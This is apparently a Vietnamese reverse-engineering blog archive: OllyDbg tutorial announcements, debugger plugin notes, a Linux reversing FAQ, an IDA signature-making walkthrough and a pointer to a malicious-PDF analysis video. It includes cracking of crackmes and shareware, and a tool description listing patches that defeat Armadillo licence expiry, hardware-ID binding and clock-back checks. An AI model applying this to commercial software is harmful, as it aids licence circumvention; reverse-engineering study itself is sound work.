Chào anh em, kể từ ngày mất laptop bao nhiêu dữ liệu quý hiếm mất sạch, thêm nữa tôi bận lung tung thứ việc nên bộ “OllyDbg tutorial” này đã bị tạm hoãn trong một thời gian khá dài. Tôi nhận được rất nhiều câu hỏi đặt ra liên quan tới bộ tuts này, hầu như xoay quanh việc mong muốn tôi viết tiếp, thú thực là nhiều lúc thấy nản muốn bò béng cho rồi :) . Đợt này nhân dịp Noel, bã xã mới sinh hạ đại ca và một năm mới sắp đến nên quyết định đặt bút tiếp tục bộ tutor dài kì này. Ngoài mục đích là refresh lại chính mình, quay trở lại nghiên cứu những gì mà tôi đã từng yêu thích cũng nhưng hi vọng rằng sau này đại ca của tôi sẽ có hứng thú với những gì mà tôi đã và đang viết ở đây :) . Lục lọi và đọc lại 15 bài trước, thấy còn nhiều thiếu sót và có thể chưa đáp ứng được hết những mong muốn, yêu cầu của các bạn, hehe sức người có hạn…tôi biết gì thì viết thế thôi, không dám ôm đồm nhiều thứ.

Ở bài viết thứ 16 này, như tôi đã nói ở trên đó là refresh lại chính mình và là bàn đạp hứng thú để tôi tiếp tục viết tiếp, cho nên tôi sẽ viết rất đơn giản, ngắn gọn và thực hiện demo trên target là Splish.exe mà tôi đã đính kèm trong bài 15. Nếu bạn nào giải quyết được nó rồi (và tôi tin là các bạn làm được) thì có thể bỏ qua bài viết này và chờ đợi những điều mới hơn ở bài 17. N0w let’s g0……

Download here:

http://www.mediafire.com/download.php?qtbz3kgm23y

Best Regards
kienmanowar

Nhân dịp Giáng sinh và năm mới sắp đến, tôi thay mặt BQT của REA trân trọng thông báo tới các bạn:
REA forum mở cửa cho phép người mới đăng kí acc. Thời hạn đăng kí trong vòng một tuần kể từ ngày hôm nay cho tới hết chủ nhật tuần sau.

Best Regards
kienmanowar

OllyDbg_Tut17 !!

Posted: December 29, 2009 in OllyDbg Tutorials, OllyDbg_tut17

Không có gì để giới thiệu nhiều, ở phần 17 này chúng ta sẽ tập trung vào xử lý hai target: một crackme và một Share warez. Có thể nhiều bạn sẽ chê crackme, nhưng thú thực là ngày xưa khi bập bẹ Cracking tôi đâu có dám chơi Soft thật đâu. Tôi đi theo trường phái của đại ca Moon, ban đầu thì cứ crackme mà luyện dần dần mới thử sức trên các phần mềm thật. Đơn giản là vì crackme nhỏ nhẹ, có các level khác nhau, thường là không pack và thuật toán có đủ các thể loại trên trời dưới đất. Còn Soft thật thì nhiều khi xử lý xong cũng có dùng mấy đâu . Vài lời tâm sự thế là đủ rồi ….

Download here:
http://www.mediafire.com/download.php?wjdmk5yzmmz

Best Regards
kienmanowar

OllyDBG_tut18!!

Posted: January 2, 2010 in OllyDbg Tutorials, OllyDbg_tut18

Ở phần 17, tôi có đề cập tới kĩ thuật tìm kiếm đoạn code quan trọng dựa vào Window Messages, cụ thể là sử dụng WM_KEYUP.  Để có thể bắt được thông điệp WM_KEYUP thì chúng ta phải nhờ đến một hàm API qua trọng của Windows là TranslateMessage. Chức năng và công dụng của hàm này thế nào thì các bạn tự tìm hiểu nhé. Ở bài viết này, tôi  sẽ cùng các bạn thực hành trên target – là một crackme được code bởi lão StzWei (trong CrackLatinos Team thì lão này cũng thuộc dạng tay to J). Về cơ bản kĩ thuật để cập trong bài này cũng không có gì mới, lý thuyết về nó nằm ở phần Conditional Log BreakPoints trong bài 11 và phần Message BreakPoints trong bài 12, chúng ta luyện lại để cho thuần thục hơn mà thôi. Ngoài ra có kèm thêm một target nữa để các bạn tự làm và tự đúc rút kinh nghiệm cho mình, đồng thời nó cũng là chìa khóa để unlock phần 19 kế tiếp lolz …. N0w let’s g0……

Download here:
http://www.mediafire.com/download.php?wxozigz2q2z

Best Regards
kienmanowar



OllyDBG_tut19!!

Posted: January 8, 2010 in OllyDbg Tutorials, OllyDbg_tut19
Tags:

I. Giới thiệu chung

Chào các bạn, trải qua 18 bài viết từ cơ bản về OllyDbg, các thanh ghi và các lệnh Asm thường dùng cho đến các cách đặt Breakpoint, cũng như phương pháp tổng quan trong việc tiếp cận và giải quyết vấn đề, tôi hi vọng các bạn đã phần nào tự mình tích lũy được những kiến thức nền tảng cơ bản nhất để chuyển tiếp sang những kiến thức mới hơn. Sang phần 19 này chúng ta sẽ đi vào một chủ đề mới, đó là : Detect OllyDbg – IsDebuggerPresent. Theo tên của chủ đề thì bài này sẽ tập trung vào giới thiệu và giải thích việc crackme/chương trình sử dụng các cách thức khác nhau nhằm phát hiện ra nó đang bị debug bởi một Debugger nào đó, mà cụ thể ở đây là OllyDbg. Thông qua việc tìm hiểu này, chúng ta sẽ áp dụng những biện pháp/kĩ thuật từ manual cho tới sử dụng plugin để vượt qua sự kiểm tra đó, giúp cho OllyDbg có thể tiếp tục debug được chương trình mà không bị Terminate.

Bài 19 này tập trung vào cách thức phát hiện OllyDbg phổ biến nhất, đó là sử dụng API: IsDebuggerPresent và phương pháp để bypass. Ta sẽ thực hành với crackme được attach cùng với bài viết này…N0w let’s g0……:)

OllyTiper 1.2

Posted: January 12, 2010 in RE Tools
Tags:

Author : Ryokou

OllyTiper is a plugin for OllyDbg v1.10, to improve OllyDbg’s operation. Most of the content from the KanXue patch features the “to Ollydbg increase in operating functions useful shortcut keys,” a text, in which pairs of KanXue and heXer, and other features provide practical recommendations friend expressed his gratitude In addition, the note most of the content is copied from the kanxue’s “to Ollydbg increase in operating functions useful shortcut keys,” a paper and made the appropriate changes, in this in a right kanxue grateful.

1. Disassembly Window
(1) View data
push A480033 / / If you press Shift, then the data window to display the data A480033
mov eax, 401000 / / this line by Shift, the data window to display data on 401,000
mov eax, [401000] / / this line by Shift, the data window to display data on 401,000
mov [ebp-4], esp / / this line press Shift, then the data window to display the value of ebp-4 (note the EIP must point to the current line)
mov eax, [esp +10] / / this line by Shift, the data window to display the value of esp +10 (Note that the EIP must point to the current line)
JNZ 401000 / / this line by Shift, the data window to display data on 401,000

(2) copies of current address
00401092 68 00000080 PUSH 80000000 / / select this going-rate, press Ctrl + X, will address “00,401,092″ copy to the clipboard.

(3) Calculate the size of holding down the CTRL to select data link, and drag the mouse, you can select data to calculate the size of the
———————————————
2. Data Window
(1) Fast positioning
00406000 00 10 40 00 00 00 00 00 00 00 00 00 CA 2E 40 00
^
Move the cursor to “00.104 million” first byte 00, double-click, disassembly window displays 00.406 million, according to SHIFT, disassembly window displays 401,000.

(2) Calculate the size of selecting data and hold in the data window, hold down the left button, drag the column can be prompted to select data to see the start address and end address, and choose the size of the data.
———————————————
3. Stack Window
0012FF44 00401D8A / / double-click, disassemble the window displays the contents of the address 0401D8A; or Shift, Data window displays the contents of the address 0401D8A
0012FF48 00000000

Download here:

http://www.mediafire.com/download.php?mmim1yzymoz

Regards

AnalyzeThis+ 0.24

Posted: January 12, 2010 in RE Tools

Author SMK

I made some improvements to AnalyzeThis mainly to analyze a memory section which originally reports “this section is not associated with any module”…..

Sometimes (especially when dealing with packers) you may need to run OllyDbg’s code analysis function, only to find it’s not available to you because the EIP is currently outside the code segment as defined by the PE header. AnalyzeThis! is an OllyDbg plugin to allow OllyDbg’s analysis function to operate outside of the marked code segment, by telling OllyDbg the current segment *is* the code segment.

Caveats: OllyDbg can only store one analysis table, so if you analyze a new segment, it will remove any existing analysis that has been done.

Source code has not been included; not because I don’t want to release it at this time, but because I can’t find it offhand. If you really need it, email me and I’ll look harder for it.

Download here:

http://tuts4you.com/request.php?2848

Regards

OllyDBG_tut20 !!

Posted: January 14, 2010 in OllyDbg Tutorials, OllyDbg_tut20
Tags:

Release bài 20 :)

I. Giới thiệu chung

Chào các bạn, để tiếp tục với chủ đề Anti-OllyDbg, ở phần 20 này tôi sẽ tập trung vào giới thiệu cách các target phát hiện ra Olly thông qua việc kiểm tra tên của process. Trong tuần vừa qua, chắc các bạn đã đọc xong phần 19 – trình bày về cách Anti-Olly bằng API IsDebuggerPresent và những phương pháp để vượt qua cơ chế này. Cũng có thể tới thời điểm này, có nhiều bạn chưa giải được Crackme ở phần 18 để unlock phần 19, rất mong các bạn cố gắng tự lực đừng nên phụ thuộc vào lời giải hoặc các đáp án mà một số bạn đã public.

Trước khi đi vào phần chính của bài viết, chúng ta cần cấu hình lại Olly như sau (Ở đây tôi vẫn sử dụng Olly nguyên bản nhé) …

Download toàn bộ bài viết tại đây :

http://www.mediafire.com/download.php?nyzuoj0ebk1

Best Regards
m4n0w4r

Sau một thời gian tương đối dài tổng hợp và biên soạn , cuối cùng thì quyển REA-cRaCkErTeAm Tutorials cũng được hoàn thành. Đây có thể nói là một bộ tut khổng lồ của REA dày 517 trang , bao gồm 25 crackme tuts 113 crack soft tuts. Bộ tut này được xây dựng theo mục lục tiện cho việc tra cứu , tham khảo. Các bài viết rất tỉ mỉ , rõ ràng trong việc xác định điểm cần tìm để tiến hành crack cũng như phân tích các đoạn code Asm để từ đó tiến hành Keygen theo một ngôn ngữ lâp trình nào đó (mà cụ thể trong bộ tut này là VC++). Bộ tut sử dụng chủ yếu là các bài của Anh Moon , ngoài ra còn có của hoadongnoi và tôi :D , mặc dù đã rất cố gắng để thực hiện nhưng trong quá trình làm không thể không tránh khỏi sai sót , mong mọi người bỏ quá cho :P . Tham vọng thì rất nhiều nhưng sức chẳng được bao nhiêu :)

Download here : http://www.mediafire.com/download.php?g3yogfmcy2z

07/03/2005
–== kienmanowar ==–

PS: Sách được biên soạn từ năm 2005, tính ra tới giờ được hơn 4 năm nhưng nó vẫn còn giữ nguyên giá trị tham khảo!!

Hello,

A lot of intrigued reversers, new or skilled, are asking questions about Linux, don’t worry, you’re not alone
I felt like a topic resuming common questions, well known tools shall be (re)created. That would be wonderful to have such topic to become a reference we can suggest to people asking for it, don’t you think ?
Comments and suggestions are welcome as long as you keep it informative. No chit-chat here please, only links, tips ands tricks.

DISCLAIMER
Through this thread I am not encouraging people to hack, destroy or steal anything, you must comply with laws and you shall take entire responsability if you use this knowledge for bad behaviour. With great power (and in our information system-controlled world, every reverser, hacker, vxer has powers) comes great responsabilities. Reverse engineering is not always legal, check EULA/laws in your country. (Some interesting essays have been written on the subject, can you find them ?) A lot of companies are hiring reversers, malware analysts, win/linternals specialists for their own goods, YOU have the right to benefit this knowledge too,but don’t fall into the trap of skiddies activity..

Q & A

Q: I am new to reversing, can you advise me wether to choose Windows or Linux ?
A: No, for the simple reason that we cannot push you to decide what you want to do. Windows and its internals are fascinating reversers since ages, a lot of people are writing tuts, experimenting things, sharing tricks and discussing issues, Linux as well as other UNIX-like platform is less mainstream, therefore you are on your own, looking for someone that did it before, or simply threw some ideas you could investigate. But this thread could help you a bit.

Q: Ok, but what distrib should I use ?
A: If you already know linux enough (use at home/work) you can choose every flavor you like ! From RPM-style to DEB-stuff, including i-compil-everything-on-my-own, source-based distribs. If this is not the case, or if you want to use a virtual machine, please download Damn Vulnerable Linux (refer to the tool list)

Q: I am new to reversing with Linux, where should I start ?
A: Be sure to have sufficient assembly knowledge, at least one programming language skills (C/C++ are preferable since Linux in written with it, but Perl/Python are advised. Those parts are not treated here). As for Windows with its PE file format, Linux ELF is a unconditional step for reversing. A next step could be to try some crackmes under Linux, or try some wargames to know more about this arch. |STILL UNDER CONSTRUCTION|

Q: What tool should I use to disassemble,debug my target ?
A: Nobody can force you to use this or that but Linux comes with some tools like GDB (debugger), objdump (retrieve assembly)/hexdump (retrieve hex), ltrace/ptrace/strace/utrace (investigate the program execution flow)… Please refer to the tool list and make your own opinion, manuals as well as tutorials/papers are available.

Q: I lack training with Linux and Linternals, could you help me ?
A: RTFM ! A lot of documentation about Linux inner workings are available on the net, use a search engine or check the link category. You could for example search for Linux Kernel internals.You could also train your skills with wargames or crackmes. If you need a certification for your professional activities, check this out

Q: This tool is broken/outdated/doesn’t work as I’d want, can you help me ?
A: If you think the tool is broken try to contact the author: we are not a support forum, if it’s outdated post in the Linux area and be as specific as you can, no crack requests ! We’re not providing 100% working solutions, only pointers for your own research. If you cannot use the tool correctly, if you read every documentation available about it, if you tried everything and even googled for it desperately, you can post in the Linux Area.

Q: I need something that is not on the list, I asked for help and someone told me to Google, is this is a forum or what ?
A: We (people helping) are not assisting brain-disabled people, this is a bit rude, okay, but we will only help those who showed some implications, some previous work to solve their issue, and that actually did everything possible before asking. If we found out that the answer is in the first page on Google and you still ask for a link, you’ll get in serious trouble. If you are advised so, you can request a tool/paper to be added in this list.

Q: I made a tool, would you like to include it on your list ? / My tool|paper is in this list, I don’t want it !
A: That would be a pleasure ! First, talk to the CRCETL guys over there so they can add your tool (and a local copy of it) in their great list, then notify your link to us, we will add it.
If you want some materials to be removed, contact me but remember: if it was previously, legally, accessible on the Web you can get lost..

About this

Q: This has been done before here and there (like 0xf001′s place), why reinventing the wheel ?
A: If your links contains materials we missed, please contact us, we would be delighted to add it in the list as long as it complies with our rules.As for external sites, well I have been confronted too many times to pages or links that disappeared because of domain expiration/hosting problem etc, no one is to blame, we all have a life and such activities ain’t free. To prevent this issue I highly recommend you to copy this thread to your own forum/disk/whatever.

Q: Why such strict rules about legality ? This is reversing after all, and some of your links leads to place where illegal things are discussed (hacking/vxing)
A: Reversing is not always authorized, check the EULA of your target if any available. By posting here you automatically comply with the rules and the law this board is subject to (ie. what is legal in YOUR country doesn’t mean it is everywhere on the INTERNET). This is a scientific, technical-oriented board that doesn’t focus on warez despite some subject might be borderline. This is only made to avoid getting Zero into troubles.
As for Hacking/VXing, well I am not encouraging this at all, but it is your right to get information, I am not the one to tell you what to do about it. I hope you choose to stay clean though, getting in troubles ain’t fun. And trust me you’ll get to it sooner or later.

Q: This is cool but I would prefer a step-by-step tutorial to learn what button to press and where to look, for my specific needs?
A: Then you failed at the first and the most important step: working on your own; use your brain, use Google, use the forum search function, try things, read about everything you can before asking a question on a forum. This is for your own sake, please don’t be another “I need a tutorial to pee” guy. If you lack direction or ideas, please read about +Fravia (may he rest in peace) and +HCU. They could change your view of reversing from “I press buttons on my debugger but I don’t really know what I’m doing” to the all-mighty “I can express my reversing skills in the real world, in almost every possible situation”. If you get to this state of mind, I have nothing to `teach` you.

Q: Is a similar list for Windows|MacOS X is going to see the light some day ..?
A: I have a file in preparation, however it will not be hosted here: I’d like it to be as exhaustive as possible so it won’t comply with the rules.

Q: Hey some links are in a strange language I don’t understand, can’t you add articles in my mothertongue too ?
A: Unfortunately, my lack of knowledge is deepless, I only speak two or three languages. If you have materials in spanish, german etc I don’t see any problem to add them here. If you are speaking languages like chinese, arab or hindi (most spoken languages on earth) a translation would be warmly welcome, if you are opposed to this idea, make your own list pal.

OllyDbg_tut21!!

Posted: January 19, 2010 in OllyDbg Tutorials, OllyDbg_tut21
Tags:

I. Giới thiệu chung

Chào các bạn, một tuần dài đã trôi qua, vợ và con về ngoại cả rồi, còn mỗi một mình tôi ngồi buồn mà chẳng biết làm gì, đành viết lách để giết thời gian vậy. Trong bài 21 này chúng ta sẽ tiếp tục nghiên cứu thêm một số kĩ thuật Anti-Debug khác. Target dùng để minh họa trong bài viết này là buggers3.exe, được chỉnh sửa bởi chính bác Ricardo. Theo như giới thiệu thì crackme này sẽ sử dụng các hàm API khác để detect process name, bao gồm việc phát hiện tên process lẫn tên class của OllyDbg. N0w let’s g0……:)

…..

Download toàn bộ bài viết:

http://www.mediafire.com/download.php?njjnjwngxzj

Regards
m4n0w4r

Trời vén mây nhìn xuống,gió hắt cơn mưa phùn
Đành tiễn đưa chàng Dế, dù một thời buồn phiền chưa nguôi
Làn gió man mác, đàn kiến chập chùng,chập chùng
tiễn đưa Dế mèn sang bên kia thế gian

Thời dế non hợm hĩnh,thich rong chơi phiêu bạt
cậy sức đôi càng to,chẳng coi ai chung quanh ra sao
nào ai khuyên răn dế cũng gật gù,nhưng rồi:
nước đổ lá khoai,nước đổ lá khoai

thời dế non háu đá, có muốn ai hơn mình
nào biết đâu trời cao, phận “cạn tàu ráo máng”

thì thôi dế ơi cũng đã cạn rồi một thời
thứ tha cuối cùng,tiễn đưa cuối cùng

muôn loài rộng lòng tiễn đưa chàng dế
sinh thời”bướng mệnh”càng to hiếu chiến
tha lỗi lầm xưa nào đâu khó nhọc
nhỏ giọt nước mắt tiễn đưa thôi khép lại


Command Line Plugin

Welcome, sau một thời gian làm quen với Olly hôm nay em xin giới thiệu với mọi người một Plugin không kém phần quan trọng của Olly , đó chính là Plugin Command Line. Mặc dù còn nhiều tính năng hạn chế nhưng Plugin này cũng vẫn cung cấp cho chúng ta các chức năng đầy đủ mà một chương trình debug cần phải có. Nhưng bù lại thì mã nguồn của Plugin này là mở cho nên cho phép chúng ta add thêm bất kì câu lệnh mới nào vào đồng thời nó cũng cho phép chúng ta chỉnh sửa các chức năng của những câu lệnh đã có. Bài viết này được dịch ra từ file Help , mong rằng sẽ đáp ứng được phần nào thông tin , cũng như chức năng cơ bản của Plugin này.

Như chúng ta đã biết , để gọi Plugin này trong Olly chúng ta dùng phím tắt sau : Alt + F1. Hiện tại theo tài liệu mà em có thì Plugin này hỗ trợ những câu lệnh sau :

1. Expressions (Biểu thức) :

CALC expression        : Tính toán giá trị của một biểu thức
? expression        : Tương tự như trên
expression (kí tự đầu tiên không được là chữ cái)    : Tương tự như trên
WATCH expression    : Theo dõi, quan sát một biểu thức
W expression        : Tương tự

2. Assignments (Gán) :

SET reg=expression    : Ghi giá trị của biểu thức vào thanh ghi chung 8, 16, hay 32 bits
reg=expression        : Tương tự
SET memory=expression     : Ghi giá trị của biểu thức vào bộ nhớ 8 , 16, hay 32 bits

3. Disassembler :

AT expression        : Theo dõi địa chỉ trong cửa sổ Disassembler
FOLLOW expression    : Tương tự
ORIG            : Đi tới thanh ghi EIP hiện tại
*            : Tương tự

4. Dump and Stack :

D expression        : Theo một địa chỉ trong cửa sổ Dump
DUMP expression        : Tương tự
DA [expression]        : Dump theo dạng assembler
DB [expression]        : Dump ở dạng byte (hexa)
DC [expression]        : Dump dưới dạng ASCII text
DD [expression]        : Dump dưới dạng địa chỉ (áp dụng cho stack)
DU [expression]        : Dump theo dạng Unicode text
DW [expression]        : Dump ở dạn word (hexa)
STK expression        : Lần theo một địa chỉ trong Stack

5. Assembling :

A expression [,command]     : Assemble tại một địa chỉ

6. Labels and comments (Các lệnh liên quan đến nhãn và chú thích):

L expression, label    : Gán nhãn cho một địa chỉ
C expression, comment    : Gán chú thích tại một địa chỉ

7. Breakpoint commands (Các lệnh liên quan đến việc đặt BP trong Olly):

BP expression [,condition]    : Đặt breakpoint INT3 tại địa chỉ
BPX label            : Đặt breakpoint lên tất cả các hàm Call
BC expression            : Xóa điểm đặt BP tại địa chỉ
MR expression1 [,expression2]     : Đặt một BP là memory on access trên một phạm vi nào đó
MW expression1 [,expression2]    : Đặt một BP là memory on write trên một phạm vi nào đó
MD                : Xóa điểm đặt BP memory
HR expression            : Đặt 1-byte BP có dạng hardware on access lên một địa chỉ
HW expression            : Đặt 1-byte BP có dạng hardware on write lên một địa chỉ
HE expression            : Đặt một BP có dạng hardware on execute lên một địa chỉ
HD [expression]            : Xóa điểm đặt hardware BP tại một địa chỉ

8. Tracing commands (Các lệnh liên quan đến việc Trace code trong Olly):

STOP        : Tạm dừng sự thi hành
PAUSE        : Tương tự
RUN        : Chạy chương trình
G [expression]    : Chạy chương trình đến một địa chỉ nào đó
GE [expression]    : Bỏ qua các ngoại lệ để điều khiển và chạy đến một địa chỉ nào đó

S        : Nhảy vào trong một hàm
SI        : Tương tự
SO        : Nhảy qua một hàm
T [expression]    : Trace vào trong một hàm đến một địa chỉ nào đó
TI [expression]    : Tương tự
TO [expression]    : Trace qua một hàm đến một điạh chỉ nào đó
TC condition    : Trace vào trong một hàm đến một điều kiện nào đó
TOC condition    : Trace qua một hàm đến một điều kiện nào đó
TR        : Thực thi cho đến khi Return
TU        : Thực thi cho đến đoạn user code

9. OllyDbg windows (Các lệnh liên quan đến cửa sổ):

LOG             : Xem cửa sổ Log
MOD            : Xem cửa sổ Executable
MEM            : Xem cửa sổ Memory
CPU            : Xem cửa sổ CPU
CS            : Xem cửa sổ Call Stack
BRK            : Xem cửa sổ Break Points
OPT            : Xem cửa sổ Options

10. Miscellaneous commands (Các lệnh khác):

EXIT        : Đóng OllyDbg
QUIT        : Tương tự
OPEN [filename]    : Mở một file để Debug (executable file or dll)
CLOSE        : Đóng chương trình đang Debug
RST        : Restart lại chương trình đang Debug
HELP        : Mở cửa Help của Plugin Command Line
HELP OllyDbg    : Mở cửa sổ Help của Olly
HELP APIfunction    : Mở cửa sổ Help của hàm API

Các lệnh dùng trong Plugin Command Line không phân biệt chữ hoa và chữ thường , các tham số trong ngoặc vuông là những tùy chọn. Các biểu thức có thể bao gồm các hằng số, các thanh ghi và các tham chiếu bộ nhớ , bên cạnh đó nó còn hỗ trợ tất cả các phép tính số học cơ bản và các Boolean Function. Theo mặc định thì tất cả các hằng số đều ở dạng Hexa. Để biểu diễn các hằng số về dạng Decimal , đi kèm nó là dấu thập phân. Ví dụ :

1. 2 + 2	: Tính toán giá trị của biểu thức (Cộng ở kiểu Hexa);

2.  2.0 + 2.0 	: Tính toán giá trị của biểu thức (Cộng ở kiểu thập phân);

3. AT [EAX+10] : disassemble tại địa chỉ mà địa chỉ này là nội dung của Dw mem tại địa chỉ EAX + 0x10;

4. BP KERNEL32.GetProcAddress  : Đặt một BP lên hàm API . Chú ý bạn có thể đặt một BP trong file Dll hệ thống , nhưng chỉ đối với các hệ điều hành NT;

5. BPX GetProcAddress  : Đặt BP lên tất cả các lệnh gọi hàm API GetProcAddress;

6.  BP 412010,EAX==WM_CLOSE : Đặt một Conditional BP tại địa chỉ 0x412010. Chương trình sẽ dừng lại khi mà giá trị của EAX = WM_CLOSE;

kienmanowar(REA – cRaCkErTeAm) – 05/01/2005

Thank to my family, Computer_Angel, Moonbaby , Zombie_Deathman, Littleboy, Benina, QHQCrker, the_Lighthouse, Hoadongnoi, Nini … all REA‘s members, HacNho, RongChauA, Deux, tlandn …. all my friend, and YOU.

REVERSE ENGINEERING ASSOCIATION
http://reaonline.net

Manowar :)

Posted: January 20, 2010 in Dây rock!, Uncategorized
Tags:

Đã lâu lắm rồi không còn đeo vòng, lắc, xích, nhẫn nữa, trên cả 10 ngón tay giờ  chỉ đeo đúng 1 chiếc nhẫn :) . Lâu lâu lượn một vòng các trang bán đồ dành cho dân Rock, ta lại bắt gặp những món đồ rất bắt mắt.

manowar

metalic

gun

Có lẽ hôm nào đó phải kiếm cái Manowar về tặng con trai mới được :)

“Thanks to the virtual ArmAccess.DLL built into every copy of SoftwarePassport/Armadillo, this [patching the dll] is no longer even a theoretical threat,as long as you use it instead of the external file.”, Chad Nelson.

ArmaRaider is designed to assist in the extraction and replacement of the Security.DLL built into each Armadillo protected application

Why? :

By being able to expose the Security DLL there are many things we can patch that will change the way the Armadillo shell reacts.

Possible Patches:

* Force an application to never ‘expire’.

* The removal of HWID from keys,

* Re-enabling of the REGISTER/INFO command line parameters.

* Disabling ClockBack detection.

This is only a very small list of the patches made possible by ArmaRaider

What Raider Does Do:

1. ArmaRaider will statically unpack the security dll for you and save to disk

2. If the version of Armadillo does integrity checks on the DLL, these checks will be patched automatically by ArmaRaider (not static)

3. ArmaRaider will also statically replace the existing security DLL with a patched one

What Raider Doesn’t Do:

ArmaRaider doesn’t turn a person into a ‘cracker’ most of the work must still be done yourself (all the patches). ArmaRaider was built to assist in that process not do it for you. Therefore we are not responsible for evil usage you will do of this tool.

Versions known to Work:

ArmaRaider has been tested and found working on the following Armadillo versions:

* Tested version 3.75 (working)

* Tested version 4.30 (working)

* Tested version 4.40 (working)

* Tested version 4.43 (working)

* Tested version 4.66 (working)

* Tested version 5.02 (working)

* Tested version 7.00 (working)

This is not an all inclusive list, ArmaRaider may also work on version not listed above, these are just the ones that have been tested by the author

As with most reversing tools developed this application was not made by a single individual, perhaps it was written by a single person (Nieylana), but without the immense help from some very close friends of mine (Ghandi, Nacho, SS) this application would have never come to see the light, thank you to all who helped.

http://www.accessroot.com/arteam/site/download.php?view.315

Debug Tutorial.

Posted: January 26, 2010 in Debug tutorial, Other Tutorials
Tags:

Debug Tutorial Part 1: Beginning Debugging Using CDB and NTSD

http://www.codeproject.com/KB/debug/cdbntsd.aspx

Learn how to debug problems in software.

Debug Tutorial Part 2: The Stack

http://www.codeproject.com/KB/debug/cdbntsd2.aspx

Introduction to the most important ally in the fight against bugs, the stack.

Debug Tutorial Part 3: The Heap

http://www.codeproject.com/KB/debug/cdbntsd3.aspx

Introduction to the heap.

Debug Tutorial Part 4: Writing WINDBG Extensions

http://www.codeproject.com/KB/debug/cdbntsd4.aspx

This tutorial we will attempt to write a simple debug extension.

Debug Tutorial Part 5: Handle Leaks

http://www.codeproject.com/KB/debug/cdbntsd5.aspx

Learn how to debug handle leaks in Windows.

Debug Tutorial Part 6: Navigating The Kernel Debugger

http://www.codeproject.com/KB/debug/cdbntsd6.aspx

Learn the basics of the kernel debugger.

Debug Tutorial Part 7: Locks and Synchronization Objects

http://www.codeproject.com/KB/debug/cdbntsd7.aspx

Learn the basics of debugging deadlocks and other issues.

Regards

m4n0w4r

Title: [Original] how to make vc a static link library IDA SIG files?
Author: tnttools
Time: 2008-04-17,18:52
Link: http://bbs.pediy.com/showthread.php?t=63292

Many days ago, someone raised this question. It did not occur with lib.exe, that they have to re-invent a wheel ar2.exe, it could parse out the MS LIB file in the OBJ file. Today also saw someone post thoughts, again, dig about, much better than this …

The following is the command line on the production process, the environment is WinXP + NTFS + VS2003, on my machine to run correctly. References between the dash are the command line.

SIG attachment is to produce a good document, can accurately parse out the printf () function, of course, there are other many, many library functions.

Step 1:
Will be libc.lib, libcd.lib, libcmt.lib, libcmtd.lib from the original folder copied.
For:
To avoid the command line, enter the path too long

Step 2:

-----------------
set path =% path%; C: \ Program Files \ Microsoft Visual Studio. NET 2003 \ Vc7 \ bin
set path =% path%; C: \ Program Files \ IDA \ addons \ Flair.v5.20 \ bin
-----------------

To invoke the procedure to set the path on your machine is not necessarily the case

Step 3:

-----------------------------
for% i in (*. lib) do md% i.fdr
-----------------------------

For: New folder store object files

Step 4:

-----------------------------
cd v: \ libc.lib.fdr
for / F "skip = 3"% i in ( 'link.exe-lib / list .. \ libc.lib') do link.exe-lib / extract:% i .. \ libc.lib

cd v: \ libcd.lib.fdr
for / F "skip = 3"% i in ( 'link.exe-lib / list .. \ libcd.lib') do link.exe-lib / extract:% i .. \ libcd.lib

cd v: \ libcmt.lib.fdr
for / F "skip = 3"% i in ( 'link.exe-lib / list .. \ libcmt.lib') do link.exe-lib / extract:% i .. \ libcmt.lib

cd v: \ libcmtd.lib.fdr
for / F "skip = 3"% i in ( 'link.exe-lib / list .. \ libcmtd.lib') do link.exe-lib / extract:% i .. \ libcmtd.lib

-----------------------------

For: turn extraction libc.lib, libcd.lib, libcmt.lib, libcmtd.lib all the object file.

Step 5:

--------------------------
for% i in (. \ libc.lib.fdr \ *. obj) do pcf.exe-g0% i
for% i in (. \ libcd.lib.fdr \ *. obj) do pcf.exe-g0% i
for% i in (. \ libcmt.lib.fdr \ *. obj) do pcf.exe-g0% i
for% i in (. \ libcmtd.lib.fdr \ *. obj) do pcf.exe-g0% i
-------------------------
pcf.exe-g0. \ libc.lib.fdr \ *. obj
pcf.exe-g0. \ libcd.lib.fdr \ *. obj
pcf.exe-g0. \ libcmt.lib.fdr \ *. obj
pcf.exe-g0. \ libcmtd.lib.fdr \ *. obj
-------------------------

For: from. Obj file generation. Pat file. In order to avoid pcf.exe in the implementation of the process of dealing with non-COFF file interrupted, see a message “is not ar / coff file \ npress enter to exit”, with parameter “-g0″.

Step 6:

-------------------------
sigmake-n "VC7 Static Lib (ST / MT & Rel / Dbg) By TnTTools" libc.lib.fdr \ *. pat + libcd.lib.fdr \ *. pat + libcmt.lib.fdr \ *. pat + libcmtd . lib.fdr \ *. pat vc7libc
See the documentation to learn how to resolve collisitions.
: Modules / leaves: 9021136/3610, COLLISIONS: 2690
-------------------------
sigmake-n "VC7 Static Lib (ST / MT & Rel / Dbg) By TnTTools" libc.lib.fdr \ *. pat + libcd.lib.fdr \ *. pat + libcmt.lib.fdr \ *. pat + libcmtd . lib.fdr \ *. pat vc7libc
--------------------------

For: into SIG file vc7libc.sig, where I put together four static library file, of course, you can be divided into open. The first time by running sigmake, aware of the existence of conflict. Manual editing. EXE files to run again after sigmake, generating vc7libc.sig. In the annex.

[For example]

Before use
. text: 00402A03 push offset aUsage; "Usage: \ n"
. text: 00402A08 call sub_403772
. text: 00402A0D add esp, 4
. text: 00402A10 push offset aHashH; "hash-h \ n"
. text: 00402A15 call sub_403772
. text: 00402A1A add esp, 4

After use
. text: 00402A03 push offset aUsage; "Usage: \ n"
. text: 00402A08 call _printf
. text: 00402A0D add esp, 4
. text: 00402A10 push offset aHashH; "hash-h \ n"
. text: 00402A15 call _printf
. text: 00402A1A add esp, 4

TnTTools
The Art Of Reverse Engineering
Enjoy it.

Note that I have discussed here is only a very special case: VC static library files libc.lib, libcmt.lib. Originated in the forum because netizens a question. If the direct call pcf.exe these two documents will have problems.
No need to write what procedure is to wrap it, First, it is not a panacea SIG production process, in practice, various situations are likely to be encountered; Second, we need to understand the CONSOLE under a variety of STDOUT output (most of them was not interested); 3 is automatically handled after EXC manual editing necessary (at least in my opinion the case)

Cuối tháng mở cửa REA cho anh em reg acc! :)

Regards

m4n0w4r

Analysing malicious PDF documents and shellcode

August 24th, 2008 by mkrakvik (1) Analysis, Videos

It’s time for another video-post, and this time we’re going to look at a malicious PDF document attempting to exploit a known vulnerability in the Collab.collectEmailInfo() function. We’re going to show how you can extract the shellcode and perform some static code analysis using tools like HT and IDA Pro.

Analysing malicious PDF documents and shellcode

Analysing malicious PDF documents and shellcode

Click on image to show video (opens in new window)

For references, here are the tools used in the video:

* SpiderMonkey

* Python

* HT

* IDA Pro

* s2b

* pefile

Hope you’ll find it useful! :)

